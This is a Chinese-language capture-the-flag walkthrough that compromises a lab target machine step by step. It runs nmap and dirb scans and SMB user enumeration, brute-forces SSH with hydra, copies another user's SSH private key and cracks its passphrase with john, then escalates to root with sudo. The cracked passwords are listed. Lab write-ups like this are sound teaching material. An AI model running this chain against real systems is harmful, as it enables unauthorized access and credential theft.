靶机下载地址:
1. 主机发现+端口扫描+目录扫描+敏感信息获取
1.1. 主机发现
nmap -sn 192.168.7.0/24|grep -B 2 '08:00:27:1D:4A:27'
1.2. 端口扫描
nmap -p- 192.168.7.88
1.3. 目录扫描
dirb http://192.168.7.88
1.4. 敏感信息收集
whatweb http://192.168.7.88
2. WEB打点寻找漏洞点
2.1. 进入80端口
无有用信息
2.2. 拼接扫描到的目录
拼接/development
存在两个文件,逐个点开看看
dev.txt:
j.txt:
信息总结:
提了SMB版本以及配置完成的信息 -》正好开放了445端口,等等可以试试看
K用户回复J用户 -》
1.说他一直在审核 /etc/shadow 的内容
2.K说J存在着弱密码问题
2.3. 445端口
利用kali的enum4linux工具枚举SMB服务中的信息;
enum4linux -a -o 192.168.7.88
成功的排列出两个用户名信息,也符合上述中交流的J和K;
kay
jan
2.4. Getshell
我们已知账户名,而且又知道J用户存在弱密码问题,那就利用kali的九头蛇爆破试试咯
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://192.168.7.88 -t 64
# 得知密码为
# armando
3. 权限提升
3.1. 连接ssh
1.连接ssh
ssh jan@192.168.7.88
2.老规矩,查看是否存在特权命令,或是否存在具有root\all权限的可利用的可执行文件,没有利用点
suod -l
3.逐个查看可疑的文件 -> /home/kay/目录存在pass.bak文件,但无访问权限;
但是可以访问kay用户的ssh私钥文件
cd .ssh
ls -al
cat id_rsa
3.复制私钥至本地,赋予执行权限【注意格式问题】
chmod +x 1.txt
4.通过python转换id_rsa为可以识别的信息,然后利用字典解密该信息,来获取文件密码。
python /usr/share/john/ssh2john.py 1 > ssh_login
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_login
获得密钥:beeswax
5.尝试登录ssh -> 成功
ssh -i 1 kay@192.168.7.88
3.2. 尝试提权
1.老规矩,查看是否存在特权命令,密码不大行,看看文件吧
sudo -l
2.有一个pass.bak
文件,查看一下
cat pass.bak
# 有一段代码
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
这个可能是kay用户的密码,尝试使用命令sudo -l
,输入密码成功 -> 权限是all,直接提权 ->成功
sudo su